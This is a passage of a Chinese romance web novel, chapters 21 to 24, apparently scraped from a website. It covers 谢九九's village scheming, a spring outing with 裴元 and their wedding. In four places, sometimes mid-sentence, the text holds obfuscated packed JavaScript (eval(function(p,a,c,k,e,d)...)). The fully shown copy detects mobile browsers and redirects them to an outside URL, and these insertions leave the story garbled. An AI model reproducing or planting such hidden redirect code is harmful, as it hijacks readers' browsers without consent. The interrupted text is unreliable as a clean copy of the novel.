“布料分拣好,村上的大娘们挑拣起来方便,价格算上去只比去布行贵一点。要是她们去买这么一点布头,人家还不一定卖不说,样式也没我这里的多。” 说起自己这本生意经,裴元看上去眉飞色舞,谢九九也听得津津有味。 说来裴元偶尔充当一回货郎,能赚钱的依据跟谢九九那天给食肆算账是一个道理。都是薄利多销,先让利方便了别人,才能返过头来赚钱。 他这个样子,把谢九九原本放到一旁没再想过的那事又给勾了起来,顺势就把那天食肆的事都跟裴元说了。 “秦娘子看上去极为俭省,也愿意每月带家中孩子出来打牙祭,你说这小本的买卖如何做不得,只可惜我和云客来现在是被架在那不上不下的地儿,为难死人了。” 秦娘子?摔断腿的丈夫?还能做泥工和瓦工?裴元越听越觉得耳熟,直至藏不住眼底的笑意,“看来要么是容县太小,要么是我与大姑娘之间到底有缘,要不然为何能这般巧。” 原来一直给裴家修缮屋子的何奎,就是秦娘子的丈夫。 没摔断腿之前就是个工头,因着做事麻利要价公道,县城和县城周边的活儿总接不完。给裴家修补屋顶漏水,那都是他捎带手帮帮忙的小事。 去年在鹿角镇给人建房上梁的时候不小心摔下来把腿摔断了,这才在家里休养了大半年。 “他这人脑子灵活,做事周全。摔断腿在家躺着了,还不忘叮嘱他表弟,街坊四邻要是有零碎活儿都帮他去干了。” 他做事周全,人家要干活的时候自然第一个就得想到他。裴元看不上别人做的工,昨天就亲自去何奎家里和他说好,请他来做个工头,接下谢家这桩差事。 “我看他恢复得也还不错的样子。” “驾车、走路都没什么妨碍,登高爬低没以前那么灵活。” 这种码头上靠力气吃饭的人,工头和工人之间的区别并不大,都是卖一天力气赚一天的工钱,工头并不能从中抽取多少报酬。 现在何奎干活没有以前那么利索,裴元自然要把话跟谢九九说清楚,“他这人心细,有他做监工能确保日后不返工,这份工钱大姑娘给得值。” “既然郎君说值那必然没错,修葺老宅的差事交给他我自是放心的。” 现在即便没有裴元,谢九九也想要用何奎。要是这人用得顺手,他和秦娘子谢九九都想招到云客来去干活。 云客来这几年被谢宝柱他们糟蹋得不成样子,好几个老人都另投别处去了。现在谢九九把云客来要回来,走了的人没回来,谢九九也不打算把人找回来。 那些伙计是跟着谢德昌干活儿的,在他们心里谢宝柱谢天佑和潘掌柜都不如老掌柜,谢九九这个少东家自然也不如。既如此,还是重新找人更合心意。 马车和驴车一前一后进了鹿鸣村,很快就有人从田里上来,站在田埂上冲马车喊话,“是不是九九回来了,怎么后面还有一辆驴车。” “三姑父,您快些回家喊我三姑来,驴车上都是些平日里能用上的杂货,本是打算沿途一路卖过来,我让他先来咱们村上。最近农忙姑姑婶子们都不得闲,家里缺了什么赶紧补上。” 别管是挑担子的还是赶驴车的,只要是货郎都是走到哪里卖到哪里。 从县城到镇上再到鹿鸣村,沿途还有好几个村子,以往货郎即便来,好些紧俏些的东西也都卖完了。这会儿人家直接从县城到村里来,那真得好好挑一挑。 村子不大,消息传出去很快就有人过来。 谢九九带着裴元和何奎先一步进了老宅,留下高义和曹勇在外面支应。曹勇讷言但看着就是个踏实人,他负责算价收钱。高义伶俐,见人三分笑,他负责推销货物。 裴元以前帮着衙门收钱粮的时候带两人来过鹿鸣村,很多人即便不认识也眼熟。 谁都没瞒着货郎的东家就是谢九九未过门的新姑爷,好些婶子嫂子们围着高义要讲价,他也好声好气的应和着,时不时说些俏皮话逗得大婶子大嫂子们咯咯直笑。 等到谢九九和裴元跟着何奎把老宅子量完算好工量出来,高义和曹勇也把一驴车的货卖了大半。只剩下一小半本就不打算卖的货,和站在驴车旁等他们的幺叔爷。 “一路过来口渴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢九九这么一说,幺叔爷便从善如流的答应下来。还说今年家里的田自己不管,干脆全租给佃户去种,自己一门心思守着私塾,要谢九九尽管放心。 两人说定此事,之后都是闲聊,聊了不过小半个时辰便起身从幺叔爷家中出来。 “前天在你家,我还侃侃而谈那么多,看来是我唐突小看人了。” 谢九九和幺叔爷看似说的都是些家长里短,其实两人谋求的都是下一任里正之位。 之前谢家守孝、幺叔爷一家势弱,即便看不惯族爷和谢宝柱谢天佑,也只能忍着。现在族爷家的里正做到头了,谢宝柱的名声又不好,机会自然就来了。 等私塾办起来,谢九九为族里做实事的名声就定下了。 幺叔爷做塾长,负责私塾的杂务和整体运作,村里读书的孩子都归他管,要不了多久时间,他这个塾长在村上的威望,也会跟着水涨船高。 到时候族爷家选不上,谢宝柱村里人又不愿选,幺叔爷只要稍微露出半分意思来,里正之位不是没有机会。 21.第 21 章 裴元这话,是说自己远不是外人眼里那个被族中长辈逼到不得不招赘,才能把家中产业给要回来的小姑娘。眼下这个局面,就是她心心念念谋求而来。 “远舟,我也曾三句话不离爹爹,那时候我爹说什么我就信什么。他还曾说过要是日后我嫁人,家里一半的家业都要予我做嫁妆。 我说我不嫁,嫁了人就不能住在家里。我爹当即哈哈大笑,说那我家九九便不嫁人。” 当日不过一句玩笑话,过后谢德昌便抛到脑后再不记得。谁知戏言竟一语成谶,谢九九真的不用嫁人了。 远舟是裴元的表字,表字一般要等到成年及冠之后由家中长辈或师长来取。 裴元的情况特殊,当年他从裴家过继出来,临走时去了一趟书院拜别,书院山长把他叫过去提前给他取了表字。 在关氏身边,再是外室子的身份,有亲娘在当儿子的就是没长大的孩子。 本朝十六岁成丁,十五岁的少年被过继出来做嗣孙,从这事定下的那一天起,裴元就不是个孩子了。 远舟二字,寓意志向高远心怀远大,不会被眼前的桎梏所困扰。是山长对裴元的期许,也是对他的谆谆教诲。 别因为出身和遭遇就自己把自己困顿住了,只要有机会就要乘风而起往高处去,必有一番作为。 两人在来鹿鸣村的路上,谢九九问他府城里的事,他顺势把自己的师承和表字一并告诉谢九九。 谢九九对府城的书院很感兴趣,先是问有多少学生有几位老师,之后又细细过问书院有多大,要是住在书院里宿舍多大,一间屋子要住几个学生。 要是送人去书院读书,一年所需花费大不大。书院膳堂里的饭菜味道如何,要是吃不惯书院外面有没有小食肆能打牙祭。一个月休息几天,休息的时候能不能回家。 问了一溜够,最后长叹一口气,还是觉得应该自己亲自去看看,才好放心把谢文济送过去。 原以为话题被谢九九就这么岔过去了,谁曾想这会儿走在田埂上,谢九九突然就喊了自己的表字。 听得裴元怔愣了好一会儿,才轻轻的嗯了一声,便不再多说什么,只耐着性子听谢九九继续往下说。 “我带你走的这条路,就是我们家的田。村上其他人家的水田比这个地势好,离村子中心也更近。但是这个田,我爷爷和我爹当初买下来的时候,花的银子足够再多买二十亩。” 谢九九让曹勇何奎他们赶着马车驴车先去村口等着,自己带着裴元绕路从谢家的田上绕一圈再出去。 “我小时候,我爹就抱着我站在田埂上跟我说,这片土地才是我们家安身立命的根本。 还说多花些银钱都是小事,人活在这个世上不能没有来处。该舍的就要舍,不用太过斤斤计较。我那时候不懂,现在依旧不太懂。” 守孝三年,谢九九不是没想过干脆把家产全部变卖,带着娘和弟弟妹妹搬走。自己不是全然没有去处,还可以去投奔亲姑姑呢。 但这也就是想一想,自己舍得走,爹却不舍得。自己舍得自己的来处,却又舍不得爹。既走不了,就只能想办法把这片土地真正变成自己的根本。 而不是一直委曲求全,活像个冤大头花更多的钱买更偏的地,还要一直当一块肥肉,不断不断被那些老不死的东西觊觎着。 “我是跟幺叔爷一起谋算里正的位置,他辈分够大,我手里多少还有些银钱,要是能助他当上下一任里正,最起码扼在我喉咙上的那双手,再要敢伸手我就能把他给剁了。” 里正、村长不算官吏,甚至连俸禄工钱都没有。 但官府不管是征收钱粮还是徭役户口、上通下达都绕不过他们去。明面上说他们是为村上干活,其实权力和影响力都很大。 “不过这事我和幺叔爷谁都没挑明,这事能成最好,不能成也不强求。 现在的里正是族爷家的老二,当了八年里正当得人憎鬼厌,村里人都恶了只会口花花的人,我们就做好我们自己的事,剩下的交给族人自己选。 自愿的才是最好的,你说对不对。” 前几天刚下过雨,田埂上的泥土才半干,谢九九边说话边跳着越过路上泥泞。 今日出门她专门挑了一双淡紫色厚底绣花鞋,鞋面绣着百蝶穿花,搭配身上藕色缠枝莲纹对襟绸衫与如意云纹罗裙,整个人看上去娇俏又可爱。 几个正在干活的佃户,远远往两人这边看着,怎么也不会想到在他们心里大方又好说话的谢家大姑娘,这会儿正在谋算着,怎么才能真正做他们的主。 上杆子不是买卖,不管是谢九九答应给村里办私塾,还是族里答应把谢家的产业还回来,心里怎么想的不要紧,嘴上不管说到哪里,人家都得说他们都是自愿的。 裴元看着走在自己身边巧笑嫣然的女子,他清楚谢九九今天是在故意给自己把话说得更明白,她是在告诉自己,两人之间的婚事他也得自愿。 “大姑娘还请放心,在下入赘亦是自愿,你我之间的婚事自然也是最好的。” “这话我爱听,我是想得多做得也多,但我还是没想到请个合适的教书先生会那么不容易。 没有你推荐沈霁,我和幺叔爷算盘打得再好,找不到好的老师,口碑和名望上不去,这算盘也得落空,是不是。” “这话大姑娘说来,是安慰我的?”田埂走到尽头,要上一个坡才能回到大路上。裴元先上去,而后转过身来牵住谢九九的手,把她从坡下拉上来。 “当然不是。”谢九九摇摇头,反手握住裴元骨节分明修长漂亮的手没放,“是想告诉远舟,你我之间很合适很互补,我很满意这桩婚事。” 谢九九眼中尽是认真,倒是把裴元看得有些羞赧脸红。好在大路那边有人来,才解了裴远舟裴姑爷的围。 上了大路,到村口就很快了。入马车里坐下,从春儿手里接过茶水连喝了两杯,才觉出走了这一路有些累。 从幺叔爷家里出来时辰还早,裴元不着急带人回去,马车出了村往回县城的反方向拐弯,看着倒像是上山的路。 “这是要去哪里。” “难得今日天气好,这山山腰处有一处寒潭和巨石,正是好赏春踏青的去处。我让水妈妈做了些吃的,吃过中午饭再回去吧。” 踏青?谢九九还没踏过青呢。 春上正是生意好的时候,好些人家出去踏青自己家里准备的吃食不够精致易存放,还要去云客来买。 家里忙着做生意,谢九九大部分时间也都在云客来里待着。 后来谢德昌去世,这三年清明上坟,年年都要来鹿鸣村,年年都无心其他,连路边的小花开了树上的叶子抽了嫩叶都不曾注意到,又怎么想得起踏青。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哎呀,以前怎么不知道还有这么个好地方,我这土生土长的倒是不如你这个刚搬来几年的了。” 谢九九怎么看怎么喜欢,先是忍不住抱怨自己没能早发现,随即一阵风卷着青草树木的味道刮过,心情又变得更好起来。 连亭子里不认识的书生,走过来非要请裴元过去一起作诗,也不觉得冒昧。只等裴元实在推脱不过跟着那几人去了亭子,才忍不住同春儿几人抱怨。 “到底是读书人,他们看打扮就分辨得出来,要不然怎么不见叫我们过去,只让他一人去作诗喝酒。” 谢九九话里全是调侃,曹勇和高义还捂着嘴笑,何奎却是半点忍不住,一边大笑一边指着自己身上在老屋里登高爬低蹭到的灰,“谢姑娘,我们过去就真的只能喝酒了。” 不知道身后何奎在笑什么,裴元只觉得这几个读书人真不识趣。被硬拉过去作了两首诗,很快就回来了。 亭子隔得不远,裴元的诗谢九九也了个七八分。谢九九不太懂诗词,只觉得裴元的诗平仄和谐,听在耳朵里很舒服也很朗朗上口。 不过看着那边不是很热情,寒暄过几句就把裴元给放回来的样子,就知道这诗在那几个读书人看来,不怎么好。 “你作诗不好吗,我怎么觉得挺好听的。” 从未有人这么夸过自己的诗,好听?那就是顺耳的意思。裴元忍不住笑了笑,这话要是被山长听见,肯定要把谢九九连着自己一起骂,不开窍!不开窍!! “我作诗一道一直平平,师长们都说匠气太重,不灵动。” “那正好。” “正好什么?” “正好与我相配。” 22.第 22 章 虽说是定了亲的男女,但当着众人的面就这么直白说相配,别说曹勇和春儿,就连一贯嘴上伶俐得有些油滑高义都听得红了脸。 只有有家有室的何奎听了这话嘿嘿一笑,不觉得有什么。 饮食男女是自然,招赘入赘的亲事本就不比寻常,要是一个端着一个抻着,这日子恐怕就过不好了。 何奎心里不免替裴元犯嘀咕,面上却半点不曾显露。帮着裴元把食盒里准备的吃食拿出来,还分心琢磨,等过几日把家里老婆孩子带上,也来这儿踏踏青。 在外面吃饭,准备的都是些凉了也能吃,不脏手不水哒哒的东西。 小菜和肉都是提前切成丝裹在卷饼里,用荷叶包裹的青团胖乎乎圆滚滚的。 从中间一分为二的烧饼里夹的是酱过的肉,切碎了夹在烧饼里,油脂浸透烧饼,虽冷了但闻上去还是香,打开油纸包一看,就更香了。 再有便是用油纸层层包裹的熏鱼和提前放进酒坛子里的蜜水,“出来踏青不喝酒,喝多了我没法跟大姑娘家里交代。” 云客来也替客人做踏青之日方便携带的食物,大多是油团麻团糯米糕之类的东西,卷饼烧饼这一类吃的,还是北方吃得更多些。 “够了够了,尽够了。”平时不常吃,这会儿见了哪个都想吃,“今天不需酒也足够尽兴,再添了酒反而太过了。” 谢九九笑着拿起已经卷好的饼分给几人,又示意何奎和曹勇高义千万别在自己跟前客气饿了肚子,这才又拿过一个卷饼从中间分开,跟春儿一人一半。 焯过水的菜丝和肉丝清脆爽口,摊得薄薄的饼皮吃在嘴里又有嚼劲,在配上辣口的酱料,三两口一个正正好,更像是开胃前菜。 吃完了,正好接过裴元递到自己的手边的烧饼,一口咬下去才发现酱肉里还加了一个切得碎碎的茶叶蛋,口感层次就更丰富了。 “我家里出门能用上的容器少,要不然今天应该再做上些饺子,拿油辣子和香醋一拌,特别好吃。” “北方这个时节也要吃饺子吗。” 谢九九还以为北方只有过年才吃饺子,没想到这春天踏青也要吃饺子? “那倒不是,只不过我做饺子比做饼更拿手。”裴元看着谢九九大口大口吃饼,心中不知为何就是很畅快,“下次吧,下次我给你做。” “北方的吃食我家都不在行,云客来里的师傅做面食也不多,倒是你家以前应该做得多吃得也多,以后想吃了,怕是真就只能麻烦咱们裴郎君亲自下厨。” 裴家世代都在府城,说裴元熟悉北地习俗自然不是说的裴家,而是说的关氏。谢九九现在说这些,自然也不是真的无意提及。 裴元闻言手顿了一瞬,随即放下手里的青团,连带着背脊都挺直了些。 “之前我没有主动提及我娘,是因为我被过继出来,从礼法上论我娘都不算是我的娘,不好把大姑娘和谢家牵扯进来。” “关姨娘如何安置,不在你我亲事的考量之内。这个道理我懂,郎君不提我亦不问。” 但那是礼法,可礼法之外还有人情。关氏是生裴元的母亲,只这一点便是裴元再过继八次也改不了的事实。让他不管?那是违背了人性。他要是真不管,谢九九反而该害怕了。 “姨娘到底是郎君的亲娘,你我成亲以后还是该去一趟府城,郎君说呢。” 去府城可以不去裴家,裴元现在是裴雨伯家的嗣子是谢家的姑爷,唯独跟裴家三爷没关系了。 但不能不去关氏那里,以后裴元是要在家里过日子的,要跟娘和弟弟妹妹们日夜相对,自己得先把对关氏态度摆正,他在才能对家里人更好。 如此你好我好大家才好,才是相处之道。 裴元抬头去看谢九九,娇憨灵动的面容下,是眸中藏不住的狡黠与清明。 只这一问,裴元便知谢九九是什么意思。她是借机在点自己,这事现在得瞒着,要不然怕婚事生变故。但这事不能一直瞒着,老瞒着以后就得落埋怨。 “大姑娘说得是,到时候我娘见我带你回去,一定会很欢喜。” 裴元是聪明人,一点就通。见他知道该怎么做,谢九九不再多说,彻底把这事放到一旁,尽情享受春日山涧的气息,和裴元的手艺。 其余几人除了春儿,完全没听出来两人话里有话。曹勇更是笑得见牙不见眼的,以后的少奶奶肯去看姨娘,天大的好事呢。 事情走上正轨,时间也变得快起来。本以为成亲还要等很久,谁知成亲的正日子转眼就到了。 婚期定在五月十八,虽过了端午天气一天比一天热,但这已经是把六礼的流程赶了又赶才定下的日子。为这事,田婆子差点没把通书和万年历给翻烂,才把能用上的吉时给挑选出来。 “姐。” “怎么还不睡?明天要忙的事情还多,这会儿不睡明天可不许掉链子。” 裴元进门再是姑爷,也不好跟黄娟和芝娘住在一起。整个前院已经收拾好布置出来,连同谢家给裴元的聘礼,和裴元收拾出来‘嫁妆’ 也一起送去了前院。 一条巷子里住着,年纪到了嫁娶都属正常,有些寡妇不愿离家,从外面招个男人回来过日子也不少。不过像谢家这样把入赘正儿八经办的,还是不多。 昨天裴元请了黄大舅作陪,把谢家之前送去裴家的聘礼和他做主添置的东西一起送过来。 田婆子迈着小脚走在最前面,逢人就说裴郎君上门送礼来了,听得好些左邻右舍都出来看。 人家好好一个郎君答应入赘,收了聘礼便是收了,他要是手头宽裕何必入赘。 这会儿又往谢家来送东西,有人猜测是裴元打肿脸充胖子,还有人嘀咕是不是裴元送来的东西也是谢家准备的,现在拿出来替女婿撑门面用。 嘀咕归嘀咕,进了谢家的门大家嘴上都说着吉祥话,反正是怎么捧着黄娟高兴怎么说,再怎么着也是招了个姑爷回来,也算是给家里添了一口人了。 直到众人看到裴元送来的东西,大家伙你看看我我看看你,心思清明些的这才用一种极复杂的眼神去看黄娟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你有话就说啊,光喊我有什么用。你姐夫那边没几个亲戚,到时候还指不定怎么忙呢。” 本来不提裴元还好,一提裴元谢文济眼眶都红了。倒把谢九九给唬了一跳,“咱俩之前是不是都说好了的,招你姐夫回家你也点头答应了,这是又不愿意了?” “没不愿意。”谢文济低头捏着自己的衣角来来回回的搓,他也说不好自己心里什么滋味。 起先姐姐说要招赘,他心里挺高兴的。姐姐不用嫁出去还在家里住着,每天都能看见都能一起吃饭,多一个姐夫就多一个姐夫,不碍事。 婚期越近,谢文济才发现这事不对。 先是娘做主把前院给收拾出来,让姐姐和姐夫成亲之后搬到前院去住。这也就罢了,毕竟家里还有芝娘,老跟姐夫抬头不见低头见的,确实不好。 昨日裴元又送了那么些东西来,谢文济听着街坊四邻的议论,突然反应过来不管是嫁人还是招赘,姐姐都要跟一个外人组成另外一个家了。 在前院那个小家里,姐姐和姐夫才是最亲密的人。正因为如此,裴元才会愿意把他辛辛苦苦收罗来的书搬过来,他们是一体的。 他给姐姐长了脸,别人夸姐姐招了个好女婿,他自然也跟着与有荣焉,这便是一家人。 “算了,姐姐睡吧,明日还忙呢。” 谢文济越想,就越不知道该怎么说,最后只能拿谢九九方才的话敷衍谢九九,转身走了。 23.第 23 章 裴元把谢家的面子给撑了起来,让大家伙知道谢家不是光拿银子砸人,自己不是心不甘情不愿的入赘,谢九九自然也不能塌了他的台。 入赘的姑爷婚后要住到妻子家,那成亲当天接亲和出门子的人也得调转个头。 去裴家接亲,裴元毕竟是七尺男儿,要他坐花轿多少有些难为人。自己本不是嫁人,也没有说坐着花轿去接姑爷的道理。 为此谢九九还专门让小舅黄河去他老丈人家借了两匹高头大马来,自己骑马去,接上裴元亦骑马回来,如此这般谁也不为难,倒是正好。 马牵回来,谢九九就骑着马在前院后院赚了好几个圈,稀罕得压根就不想下来。 等到次日下午吉时一到,身着霞帔头戴赤金凤冠的谢九九用一把团扇遮面,自谢家出来去接亲。 出门上马之后连团扇都不遮,只余赤金凤冠前的流苏挡着,做个样子也当个装饰。 多少年了,县城里也没见过谁家成亲是这个样子。新娘子盖头都不盖骑在高头大马上去接姑爷,这多稀罕啊,稀罕得能写进话本子里,话本子都能多卖几个钱。 大人们知道是招赘,再是看热闹也只站在道两旁看着。 承平和老吴跟着一路给人发喜糖,切成小块的麦芽糖和□□糖,抓上一小把便是顶客气的。拿了人家的喜糖,心里怎么想都不妨碍大家伙嘴上说的都是吉祥话。 小孩子不懂这个,拿了糖含在嘴里还要跟着谢九九的马一路跑,嘻嘻哈哈的一直跟到裴家门口,看见站在裴家门口等着谢九九来接的新郎,才不说话了。 关氏是北方人,裴元模样身段都像他娘。宽肩窄腰五官深邃,站在那里挺拔如松。 今日成亲身着一袭大红圆领袍,头戴方巾簪花,腰间系着青色丝绦,肩头披着红色万字纹锦缎,整个人看上去英姿勃发端庄俊朗。 有个嘴快的小孩儿,忍不住跟身边的伙伴悄悄的说,从来没见过长得这么好看的新郎官。谁知这悄悄话声音太大,围在裴家门口的人都听见了,顿时都笑作一团。 不知是被小孩子夸好看有些羞了,还是大红的袍子映红了白皙的脸颊,裴元脸颊泛着浅浅的驼红。一直自持冷静对这桩婚事都把握在股掌之间的人,终于多了几分独属于年轻人的青涩与不安。 谢九九骑在马上一进巷子他就看见了,他站在门口台阶上没动。直到马停下谢九九从马上下来,裴元这才拱手冲自己的妻子拱手作揖,全了礼仪。 新娘子不出嫁,自然也就没有闹新娘这一说。裴元身边除了曹勇和高义,就只有已经搬到鹿鸣村当教书先生的沈霁。 沈霁拿出早就准备好的贺诗,充当了一回裴元的赞礼官。诗文念完,裴元抬手牵住谢九九手里的红绸子,上了谢九九身旁另一匹马,两人并肩往谢家去。 到了谢家,流程与寻常成亲没什么两样。拜堂、合卺、入洞房,因着没有盖头,田婆子就把手里的小瓷碗递给裴元,让他亲自给新娘子喂了个饺子。 “生不生!” “生,真生!” 从小被养得特别刁特别娇气的舌头,突然吃下一个半生不熟的饺子,哎呀那个滋味快别说了。 容县本地成亲没有这个习俗,还是谢九九专门问过裴元,才知道北地还有这么个规矩。 陈妈妈没煮过半生不熟的饺子,没个准头煮得有点过于生了。偏因着是喜庆日子,煮两个太少,单数又不好听,四个谐音不吉利,干脆一口气煮了六个。 谢九九看着瓷碗里的饺子眼睛都不自觉睁大了,本就娇憨可爱的举止就更显得几分天真。 新嫁娘肤白胜雪明眸皓齿,又这幅小女儿姿态,几个喜娘在一旁看着,都忍不住互相使眼色,这也不像外面传的那么邪乎,什么谢家大姑娘厉害尖酸,最是个难摆布的人物。 就这幅模样,这抬起头冲新郎官笑得眉眼弯弯的样子,还用得着摆布?没见新郎官接过那瓷碗三下两下就把剩下的五个饺子都吃了。 “是不是太生了?”谢九九本想拦,又怕有饺子不吃完不吉利的说头,就没敢出声。就是那味道连醋没蘸,真难为裴元一口气全吃了。 “生,是挺生的。”裴元硬着头皮把饺子吃完,也不敢说什么不好听的话。好在碰上谢文济急匆匆的从外面进来,催新郎官出去待客。 “姐夫,外面客人来得差不多了,大舅说马上就开席,让你赶紧过去。” “这就来。” 裴元从新房出去的时候,外面已经挂起灯笼。黄昏时分阴阳调和、天地交泰,正是成亲这日最好的时辰。 谢家招姑爷,家门大开,席面从前院廊下一直摆到巷子里。 裴元被三个舅舅和幺叔爷陪着,一桌一桌挨个敬酒,等绕过一圈人人敬到,不说裴元和舅舅叔爷,就连沈霁和谢文济也喝了个半醉,一大一小找了个座儿坐下就起不来。 还是被喊来帮忙的何奎酒量最好,冲裴元摆摆手,又往秦娘子那边指了指,“我让她临时请了几个嫂子婶子来帮忙,不过一些桌椅板凳碗碟的,没多会儿就收拾干净。” 自己家就是开饭庄的,家里有喜事再往外面去请厨子就成笑话了。也正因为用的是自家人,其实还不比从外面请专门接红白喜事的厨子省心。 村里的老房子交给何奎,谢九九就再没管过。期间幺叔爷往家里来过一次,说村上和族里的事,也说何奎。 何奎这人干活有手艺,做事踏实人实在又不是个憨子,该俭省的地方俭省,该抛费的地方也一点不心疼,总之把老房子修葺得很好。 还在后院和前院之间的大门暂时封起来,另辟了一道小门。 平时沈霁住在后院去前院教课很方便,不上课的时候把小门一关,后院另有一道门直通屋后的水井和一条小径。 从小径拐个弯走出去,就能上出村的路。要是沈霁想把妻子接来小住,家眷自从后门出入,跟私塾能互不打扰,住起来也舒服。 谢九九听幺叔爷这么说,就知道何奎是个舍得动脑筋的人,再回想那日在小食肆跟在秦娘子身边,身上穿得干干净净的两个孩子。 隔天便让裴元出面,跟何奎说了她想要请秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221285|165192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘子来云客来干活的打算。 现在他们夫妻两个一个帮着潘掌柜,在云客来里做事,一个在南城门外做个小工头接些活计,连带把云客来后厨要用力工的活儿也做了。 裴元见何奎留下来就放心了,朝他拱拱手便转身往新房去。 裴元酒量不小,被灌了不少酒神思都还清明着。只往回走上台阶的时候脚下直发飘,被反坐在椅子里整个人都趴在椅背上的谢文济看见了,还痴痴的笑。 沈霁越缓越醉,本来才半醉的人这会儿已经站都站不起来了。嘴里念叨着该要闹洞房,人却跟着三舅黄河往外走。 醉成这个样子可不敢放他一个人回村上,带回家去睡一晚,明天给雇辆驴车送回鹿鸣村就行了。 热闹过后的残局有人收拾,今夜就是天王老子来了,也用不着新婚的夫妻来操心。 裴元站在新房门口,扯了扯衣袍有些褶皱的地方,又抬手正了正方巾簪花,确定没什么不好看的地方才推门而入。 屋里还有浅淡没有散尽的饭菜香,是谢九九带着谢芝娘和春儿一起吃的。方才外面客人多热闹得很,春儿端了饭菜进来压根不打眼。 芝娘已经跟着春儿一起往后院去了,就剩谢九九一个人嘴巴一抹补了口脂,当做什么都没发生过。 新房里红烛摇曳,窗户上到处贴着喜字,锦被上绣着鸳鸯交颈,枕头上绣着的并蒂莲花,连架子床上挂着的床幔上都是瓜瓞绵延。 整个新房里一点含蓄都不曾有,连同谢九九收拾好摆在桌上的几个白瓷罐子,罐子里装的都是白天铺在床上的红枣、花生、干桂圆和莲子。 “娘子把这些都收起来了?” “不收起来,晚上睡着会不会硌得慌。” 都是第一回成亲,听娘和田婆子讲了许多规矩和习俗,可还是有好多不明白的。 “外面席面热闹得紧,我又不好出去。就带着芝娘挑拣这个。你放心,这几罐子我谁也没给,就留着我俩慢慢吃,都吃了总该灵验了。” 灵验不灵验的,裴元说不清。他只觉得酒气蒸腾,熏的人眼睛都雾蒙蒙的,脚下更是踩在云上,说不清是什么滋味。 说不清就不说了,洞房花烛夜哪里需要讲什么道理。鸳鸯锦被翻红浪,手腕粗的龙凤烛整夜未灭,这便是世间最坦荡直白的道理。 直到天明十分裴元实在憋得受不住了,起身绕过屏风往捎间里去解决人生大事,回来时才拿银烛剪把垂落到蜡中的烛芯给剪了。 “什么时辰了?” “还不到辰时,再睡会儿?” “嗯~” 成亲前,黄娟拿着不知道从哪里搜罗来的春宫,硬在谢九九房里挤了一晚上。 夫妻之间心意想通要紧,床帏里相合也要紧。当娘的硬着头皮跟女儿说了许多,听得谢九九心里半懂不懂,只觉得娘说得太玄乎。 真正尝过味儿了,才知道娘说的好像有些道理。 可还是没娘说得那么玄乎,舒服是舒服,也不至于非他不可吧。吃肉还舒服呢,也用不着天天吃肉啊。 24.第 24 章 新婚燕尔,两人在前院赖了几天,除了第三天陪裴元回裴家走了个过场算是回门,其余的日子多大都是困了便睡,睡够了再起。 起来了洗把脸,把睡觉前泡好已经凉透的茶,一人半盏喝尽,睡意也就散得差不多了。 然后谢九九往后院去找吃的,裴元往谢文济的书房里去,那闲散的样子看得谢文济直眼红。 “姐夫,你跟我姐这几天是不是过得也太清闲了,也不说找点活儿干干。” “你这小子,你姐还没嫌我,你倒是先挑拣上了?” 裴元顺手把从书房挑选出来的书册递过去,刚才还噘着嘴好似处处看裴元不顺眼的谢文济,嗖一下把书拿过去,翻过两页一下子就高兴了。 “多谢姐夫,这本画谱我只在同学那儿听说过,从来没见过,没想到姐夫这里竟然有。” 县城里的几个书铺都不大,谢文济以前身体不好又要守孝,平时除了去私塾读书出门的时候并不多。 有些书在先生嘴里都是些要扰乱心智的杂书,正经的读书人大可不必把精力放在那上面。 谢文济喜欢,那天在裴元送来的书箱里一眼就贼上这册画谱了。可书箱的书当做姐夫的‘嫁妆’晒过之后,就全被姐姐做主收到前院书房里。 早几天娘就专门把自己和老三叫了过去,耳提面命的叮嘱,等姐夫进了门不许把人当外人,不要觉得人家是入赘就该欠着家里的。 成了亲便是夫妻,别管是娶妻还是入赘,家里让人待得不舒服了,人家就有本事让自家的孩子也不好过。 不要说辖制不辖制的话,夫妻过日子用不着闹得多狠,哪怕不说话,想要人不顺心不如意也多的是法子。 也不能太没有分寸,姐姐是亲的,争了吵了睡一觉起来又什么事都没了。跟姐姐伸手要东西,天经地义。 姐夫是别人家的儿子,嘴上再怎么说是一家人那也不是。真要活成一家子,得多少个日日夜夜一个屋檐下生活才能磨出来,那得看天意。 当时谢文济听得头昏脑涨,心说原以为把姐姐嫁出去不是好事,怎么现在招了个姐夫回来也这么麻烦。这要是以后自己成亲娶妻,也得这样? 黄娟听了儿子的傻话,面上的神情似笑非笑是谢文济和谢芝娘都看不懂的复杂。 千百年来女子嫁人,从娘家到婆家谁不是走过这么一遭。嫁出来的女子娘家不再是家,回家也成了做客。婆家是家吗?怕是每个人心里都有一杆秤。 谢德昌有一颗会做生意的七窍玲珑心,当年黄娟嫁给他,他肯分三分心思在自己身上,新嫁娘在婆家的日子就被街坊四邻说成是神仙都不换的好日子。 到底有多好,黄娟现在回头想想倒也说不上。大概就是能让自己心甘情愿替他守寡三年不生外心,却也不至于替他豁出一条命去的好。 这些话不用跟孩子说,黄娟只抬手戳了戳儿子的脑袋,“你以为呢,娶个媳妇回来那么容易?才多大的人就想着娶媳妇了。走走走,赶紧的走,别戳在我跟前晃来晃去。” 还没开窍的谢文济想不明白到底难在哪里,就不想了。画册到手了不急着看,把书册仔细收好,谢文济起身走到临窗的书桌前看裴元写字。 